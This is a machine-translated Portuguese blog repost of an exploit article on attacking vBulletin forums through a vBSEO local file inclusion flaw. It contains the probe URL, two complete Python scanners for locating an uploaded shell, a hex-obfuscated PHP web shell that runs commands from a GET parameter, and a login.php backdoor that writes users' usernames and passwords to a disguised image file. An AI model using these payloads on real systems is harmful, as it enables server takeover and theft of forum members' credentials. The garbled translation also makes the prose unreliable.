vBulletin – Não Tão Seguro Assim

Algum tempo atrás, uma vulnerabilidade LFI dentro vBSEO foi descoberto, o que permitiu a um atacante local para incluir arquivos hospedados. O desafio, quando confrontado com uma vulnerabilidade LFI, é aproveitar-lo em execução de código arbitrário da nossa escolha.

instalações vBulletin Muitos estão usando esse addon para melhorar o seu SEO drasticamente, porém muitas delas não são totalmente remendadas que é bom para nós, mas muito ruim para aqueles que hospedar um aplicativo web vulnerável.

vBulletin Main Page

Em muitos casos, não é pedaço de bolo para explorar LFI, aka Local File Inclusion, vulnerabilidades, devido ao fato de que pode não ser fácil fazer o upload de conteúdo para o servidor de destino. Em alguns cenários, é possível injetar código PHP em logs de acesso e em outros, é possível incluir arquivos binários MySQL. Deve-se notar, porém, que é geralmente impossível saber sempre onde esses arquivos são armazenados.

Claro, podemos adivinhar onde esses arquivos são armazenados, mas podem ainda não ter certeza de como o servidor está configurado e se esta abordagem irá funcionar.

Reconhecimento

Primeiro, precisamos de determinar se o nosso alvo é vulnerável ou não. Isso pode ser feito solicitando a inclusão de um script local da seguinte forma:

http://our-target.tld/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html

vBSEO_LFI

Por favor note que algumas instalações pode parecer vulnerável, embora eles não são.

A partir da nossa base de seleção acima, gostaríamos de testar se realmente o nosso objectivo é vulnerável a Local de arquivo Inclusões. Fazemos isso através da criação de um arquivo txt com pequenas “phpinfo () nele que iremos enviar para o nosso alvo, através do gerente de penhora. Algumas instalações vBulletin armazenar anexos localmente, o que pode ser abusado, neste caso, inclui um reservatório ou um código malicioso semelhante, se sabemos a localização física do nosso arquivo e se há uma vulnerabilidade que permite fazer isso.

Exploração

A fim de encontrar a localização física do nosso arquivo carregado precisamos encontrar o diretório de anexos e digitalização através da subdiretórios. Eu criei uma pequena ferramenta para esta tarefa, que está longe de ser completa, mas ela não funciona em algumas máquinas. Você pode obter a versão básica é a seguinte:

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.1.4 - Reversed Algorithm - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  The basic version does not contain multi-
#           threading nor is it able to search through
#           multiple sub directories which the advanced
#           version will be able to.
#           Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">> The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Search for attachment directories
for value in main_dir[0:]:
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Trying: http://%s/%s/" % (newtarget,value)
conn.request("HEAD", "/%s/" % value)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % value

if poss_main_dir == []:
poss_main_dir = ["%s" % value]
else:
poss_main_dir += ["%s" % value]

conn.close()

if poss_main_dir == []:
print "[!] No directories were found, exiting."
sys.exit()

# Search for possible sub directories
for value in poss_main_dir:

i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (newtarget,value)
while i <= 9:        conn = httplib.HTTPConnection(newtarget, 80)        conn.request("HEAD",  "/%s/%s/" % (value,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (value,i)            found = "%s/%s" % (value,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close()         if sub_dir == []:  print "[!] No sub directories were found, exiting."     sys.exit() # Search all the sub directories found for our phile for value in sub_dir[0:]:   i = 99  print "[*] Trying to find our file within: /%s/" % value    while i >= 0:
conn = httplib.HTTPConnection(newtarget, 80)
conn.request("GET", "/%s/%s.attach" % (value,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match

if re.search("(%s)" % file_match, resp.read()):
print ">> File contains our keyword!"
print "Part URL: /%s/%s.attach" % (value,i)
print "Full URL: http://" + newtarget + "/%s/%s.attach \n" % (value,i)
sys.exit(0)

i=i-1
conn.close()

# Don't forget, that this script can be used for more than one thing.

A versão multi-threaded é mostrada abaixo. Tenha em mente que a versão multi-threaded é um buggy pouco, porque eu não sincronizar as threads.

#!/usr/bin/python

#  ______          __                  __  __     __   ______
# /\__  _\        /\ \__              /\ \/\ \  /'__`\/\__  _\
# \/_/\ \/     ___\ \ ,_\    __   _ __\ \ `\\ \/\ \/\ \/_/\ \/
#    \ \ \   /' _ `\ \ \/  /'__`\/\`'__\ \ , ` \ \ \ \ \ \ \ \
#     \_\ \__/\ \/\ \ \ \_/\  __/\ \ \/ \ \ \`\ \ \ \_\ \ \ \ \
#     /\_____\ \_\ \_\ \__\ \____\\ \_\  \ \_\ \_\ \____/  \ \_\
#     \/_____/\/_/\/_/\/__/\/____/ \/_/   \/_/\/_/\/___/    \/_/
#      --------------------------------------------------------
#       Title:  vBSEO LFI Assistant Tool
#          Author:  MaXe
#        Site:  http://www.intern0t.net
#
#     Description:  1) Checks whether the vBSEO installation
#           is patched or not. 2) Attempts to find
#           the physical location of an uploaded
#           attachment phile. (PHP Shell)
#
#         Version:  2.2.3 - Multi-Threading! - Basic Version
#
#         License:  -- Attribution-ShareAlike 3.0 Unported --
#           http://creativecommons.org/licenses/by-sa/3.0/
#
#       Notes:  Please note, that this tool does not work on
#           all types of hosts and you should therefore
#           modify this script to your own needs.
#           Multi-Threading in this tool is very buggy!
#
#      Disclaimer:  This tool is meant for ethical purposes only.

# Import the appropriate libraries.
import os
import re
import httplib
import sys
import thread
import time

# Clear the screen in a sufficient way.
if(os.name) == "posix":
os.system("clear")
elif(os.name) == "nt":
os.system("cls")
else:
print "[!] Cannot clear screen automatically.\n"

print "File Finder by MaXe from InterN0T.net\n\n"

# Get user-input and define global variables.
target = raw_input("Enter a domain to scan: ")
file_match = raw_input("Enter a keyword to look for: ")
main_dir = ["attach","attachment","attachments","download"]
poss_main_dir = []
sub_dir = []

# Strip away http and https from the target variable.
striptarget = re.compile('(http://|https://)')
newtarget = striptarget.sub('', target)

# Perform a simple LFI to check whether the target is vulnerable or not.
conn = httplib.HTTPConnection(newtarget, 80)
print "[*] Checking if site appears to be vulnerable."
conn.request("GET", "/vbseo.php?vbseoembedd=1&vbseourl=./clientscript/ieprompt.html")
resp = conn.getresponse()

# If the response code is 200 OK, check if the file really was included.
if resp.status == 200:
print "[+] Site is responding, this is good."
if re.search("(Enter text...)", resp.read()):
print ">>The site appears to be vulnerable!"
else:
print "[!] The site appears to be patched. (unknown error)"

elif resp.status == 404:
print "[!] The site appears to be patched. (404)"

# Define a multi-threaded function for locating the attachment directory.
def findMainDir(target, array):
global poss_main_dir
conn = httplib.HTTPConnection(target, 80)
print "[*] Trying: http://%s/%s/" % (target,array)
conn.request("HEAD", "/%s/" % array)
resp = conn.getresponse()

# If the response code is 403 (Forbidden), set a new variable and continue.
if resp.status == 403:
print "[+] Directory found: /%s/" % array

if poss_main_dir == []:
poss_main_dir = ["%s" % array]
else:
poss_main_dir += ["%s" % array]

conn.close()

# Define a multi-threaded function to scan for sub directories.
def findSubDir(target, array):
global sub_dir
i = 0
print "[*] Trying subdirs within: http://%s/%s/" % (target,array)
while i <= 9:        conn = httplib.HTTPConnection(target, 80)       conn.request("HEAD",  "/%s/%s/" % (array,i))        resp = conn.getresponse()               if resp.status == 403:          print "[+] Sub Directory found: /%s/%s/" % (array,i)            found = "%s/%s" % (array,i)                         if sub_dir == []:               sub_dir = ["%s" % found]            else:               sub_dir += ["%s" % found]                       i=i+1       conn.close() # Define a multi-threaded function to find our phile. # Developer Note:    This function has a sub-function #          (while) which could be multi-threaded #         as well to speed up the process. def findPhile(target,array):   i = 99  print "[*] Trying to find our file within: /%s/" % array    while i >= 0:
conn = httplib.HTTPConnection(target, 80)
conn.request("HEAD", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()

if resp.status == 200:
print "[+] File found, does it match our keyword? >>%s" % file_match
conn = httplib.HTTPConnection(target, 80)
conn.request("GET", "/%s/%s.attach" % (array,i))
resp = conn.getresponse()
if re.search("(%s)" % file_match, resp.read()):
print ">>File %s.attach contains our keyword!" % i
print "Part URL: /%s/%s.attach" % (array,i)
print "Full URL: http://" + target + "/%s/%s.attach \n" % (array,i)
sys.exit(0)

i=i-1
conn.close()

# For each value in main_dir (array / list), start a new thread.
for value in main_dir[0:]:
try:
thread.start_new_thread(findMainDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

# Check if any values were assigned to the poss_main_dir array. If not, quit.
if poss_main_dir == []:
print "[!] No directories were found, quitting."
sys.exit()

for value in poss_main_dir[0:]:
try:
thread.start_new_thread(findSubDir, (newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

if sub_dir == []:
print "[!] No sub directories were found, quitting."
sys.exit()

for value in sub_dir[0:]:
try:
thread.start_new_thread(findPhile,(newtarget,value))
time.sleep(1)
except KeyboardInterrupt:
print "Quitting.."
sys.exit()
except:
print "[!] Could not create any threads. Quitting.."
sys.exit(1)

try:
print "Waiting for threads.."
time.sleep(60)
except KeyboardInterrupt:
print "Quitting.."
except:
print "[!] Error"

# Don't forget, that this script can be used for more than one thing.

Esperemos que a nossa ferramenta localiza o diretório de anexos, e varre os subdiretórios para o nosso arquivo, como mostrado na imagem abaixo.

Script in Action

Se pedir a localização do nosso arquivo no nosso navegador web, então estamos mostrado uma versão do texto do nosso arquivo. Vamos tentar incluir isso e ver o que acontece:

phpinfo

Como você pode ver, nós fomos bem sucedidos.

Agora, eu não gosto de usar aquelas conchas fantasia C99 e tal. Na verdade eu prefiro conchas simples feito ou escrito por mim. Para este efeito, eu escrevi uma aplicação web que permite-me a criá-los, com diferentes métodos de entrada, codificação e até mesmo as funções a serem chamados. Neste caso eu escolhi uma solicitação GET, o sistema () chamada php, e “shell estilo” codificação.

haxxd00r

O que resulta no seguinte código:

?php eval("\x65\x72\x72\x6f\x72\x5f\x72\x65\x70\x6f\x72\x74\x69\x6e\x67\x28\x30\x29\x3b\x65\x63\x68\x6f\x20\x40\x73\x79\x73\x74\x65\x6d\x28\x24\x5f\x47\x45\x54\x5b\x22\x70\x77\x6e\x22\x5d\x29\x3b"); ?

Nós enviar este para o nosso destino e incluir esse arquivo, e chamar uma função básica do sistema, tais como “ls-al”, através do próprio “GET-neste caso, que é bem sucedido.

Code Exec

Post Exploração

Neste ponto, podemos fazer muita coisa que gostaríamos de, tais como dumping para o banco de dados não é bom desde que todas as senhas são salgados e terá praticamente uma eternidade para crack. Outra abordagem mais séria e blackhat eu experimentei no meu próprio fórum, é alterar o arquivo login.php para que cada vez que alguém loga no sistema, a informação é guardada em um arquivo aparentemente inofensivo.

?php

/* This code was placed inside login.php
Look at the comments for further details.
*/

/* 1) Fopen
Open a file named profilepic12_2.gif and append data to it. Disable any errors this may cause in case of failure. The path defined is static.
( fopen($var, "a"); Explanation: Open for writing only; place the file pointer at the end of the file. If the file does not exist, attempt to create it. ) */
$fp = @fopen('/homepages/xxx/xxxxxxxxxx/htdocs/xxxxxxxxxxxxxxxxx/customprofilepics/profilepic12_2.gif', "a");

/* If the file was opened or created succesfully then.  */
if ($fp) {

/* Write the following Base64-encoded fields to the file on one line:
The current date, Username, Password, IP-Address, User-Agent and a New Line ( \n ).
This also has error reporting specificly disabled. Just in case. */
@fputs($fp, base64_encode(date("r") . "|" . $vbulletin->GPC['vb_login_username'] . "|" . $vbulletin->GPC['vb_login_password'] . "|" . $_SERVER['REMOTE_ADDR'] . "|" . $_SERVER['HTTP_USER_AGENT']) . "\n");

/* Close the file, error reporting is specificly disabled too here. */
@fclose($fp);
}

/* End of the custom-coded backdoor. */
?

Depois de alguns dias, se o ataque não tenha sido detectada, as cargas de contas de usuário será localizada dentro deste arquivo, que o invasor pode usar a sua vantagem.

~ Maxe

Referências:
[1] vBSEO LFI Proof of Concept
[2] Static para basic.py
[3] link estático para threading.py

Fonte: http://www.exploit-db.com/vbulletin-not-so-secure-anymore/
Traduzido No Google Tradutor



Deixe uma resposta

O seu endereço de email não será publicado Campos obrigatórios são marcados *

*

Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>